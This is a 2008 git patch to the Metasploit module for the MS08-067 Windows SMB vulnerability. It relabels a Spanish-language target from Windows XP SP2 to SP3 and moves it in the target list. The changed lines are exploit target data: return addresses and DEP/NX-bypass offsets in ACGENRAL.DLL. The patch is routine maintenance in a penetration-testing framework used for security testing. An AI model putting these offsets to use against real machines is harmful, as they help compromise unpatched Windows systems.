From d366e8342a9836b049dd93586250ab6d58839413 Mon Sep 17 00:00:00 2001
From: HD Moore <hd_moore@rapid7.com>
Date: Fri, 31 Oct 2008 14:07:58 +0000
Subject: [PATCH] Spanish target is SP3 not SP2

git-svn-id: file:///home/svn/framework3/trunk@5816 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../exploits/windows/smb/ms08_067_netapi.rb   | 23 +++++++++----------
 1 file changed, 11 insertions(+), 12 deletions(-)

diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb
index 26f2d1c9f4..e03eb93856 100644
--- a/modules/exploits/windows/smb/ms08_067_netapi.rb
+++ b/modules/exploits/windows/smb/ms08_067_netapi.rb
@@ -127,18 +127,6 @@ class Metasploit3 < Msf::Exploit::Remote
 							'Scratch'   => 0x00020408, 
 						}
 					], # JMP ESI ACGENRAL.DLL, DEP/NX BYPASS ACGENRAL.DLL
-					
-					#
-					# Metasploit's NX bypass for XP SP2/SP3 
-					# Target provided by Ulises2k <ulises2k[at]gmail.com>
-					#					
-					[ 'Windows XP SP2 Spanish (NX)', 
-						{
-							'Ret'       => 0x6fdbf807,
-							'DisableNX' => 0x6fdc17c2,
-							'Scratch'   => 0x00020408, 
-						}
-					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
 															
 					#
 					# Metasploit's NX bypass for XP SP2/SP3 
@@ -165,6 +153,17 @@ class Metasploit3 < Msf::Exploit::Remote
 
 					#
 					# Metasploit's NX bypass for XP SP2/SP3 
+					# Target provided by Ulises2k <ulises2k[at]gmail.com>
+					#					
+					[ 'Windows XP SP3 Spanish (NX)', 
+						{
+							'Ret'       => 0x6fdbf807,
+							'DisableNX' => 0x6fdc17c2,
+							'Scratch'   => 0x00020408, 
+						}
+					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
+										#
+					# Metasploit's NX bypass for XP SP2/SP3 
 					# Target provided by Thierry Zoller <Thierry[at]zoller.lu>
 					#					
 					[ 'Windows XP SP3 German (NX)',